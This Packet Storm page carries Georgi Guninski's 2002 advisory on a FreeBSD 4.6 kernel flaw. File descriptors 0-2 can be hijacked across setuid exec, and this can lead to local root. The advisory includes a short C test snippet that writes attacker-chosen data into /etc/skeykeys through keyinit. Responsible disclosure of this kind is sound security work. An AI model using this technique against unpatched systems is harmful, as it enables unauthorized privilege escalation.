exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

freebsd2.txt

freebsd2.txt
Posted Aug 1, 2002
Authored by Georgi Guninski | Site guninski.com

Georgi Guninski Security Advisory #56, 2002 - It is possible to inject user supplied input to file descriptors 0 through 2, which in some cases (for example if the user is permitted to do su) leads to local root compromise. Includes C code which checks if your system is vulnerable.

tags | local, root
SHA-256 | 5f384a32d95069e2a59cd9ac291811139c17cd24f6fb6bf2e1c41c048807c9f3

freebsd2.txt

Change Mirror Download
Georgi Guninski security advisory #56, 2002

FreeBSD <=4.6 kernel problems, yet Linux and *BSD much better than Windows

Systems affected:
FreeBSD <= 4.6

Risk: Probably High
Date: 31 July 2002

Legal Notice:
This Advisory is Copyright (c) 2002 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.
If you want to link to this content use the URL:
http://www.guninski.com/freebsd2.html

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:
It is possible to inject user supplied input to file descriptors 0..2,
which in some cases (for example if the user is permited to do su) may lead
to root compromise.

Details:
Several months ago Joost Pol <joost@pine.nl> made public almost the same
problem. FreeBSD fixed it, but the patch does not cover all the cases. In
some cases the kernel closes fds 0..2 after they are assigned to /dev/null,
leaving the system open to an attack. If a +s file is execed and fds 0..2
are opened to /proc/curproc/{special} then the kernel forcefully closes
them and open() then reuses them.

To test whether you are vulnerable, examine the following C code:
-------------------------------
#define MYFD 2
while( (f=dup(1)) != -1) ; // eat em up
close(MYFD); // free a fd
close(3); // this is sometimes needed because execve() fails
f=open("/proc/curproc/mem",O_WRONLY); // get a fd which the kernel will close
// in a bad moment
if (f==-1) fprintf(stdout,"Error in open /proc\n");
execl("/usr/bin/keyinit","\n0xcafebabe\n",0);
-------------------------------
On a vulnerable system, 0xcafebabe is put into /etc/skeykeys

Workaround/Solution:

FreeBSD-SA-02:23.stdio fixes the problem.


Vendor status:
FreeBSD was notified soon. They fixed the issue quite fast.
Actually according to:
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&frame=right&th=d429cd2ef1d3a2b7&seekm=ai6c0q%242289%241%40FreeBSD.csie.NCTU.edu.tw#link16
They seem to have commited the kernel patch I sent them.

Regards,
Georgi Guninski
http://www.guninski.com



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close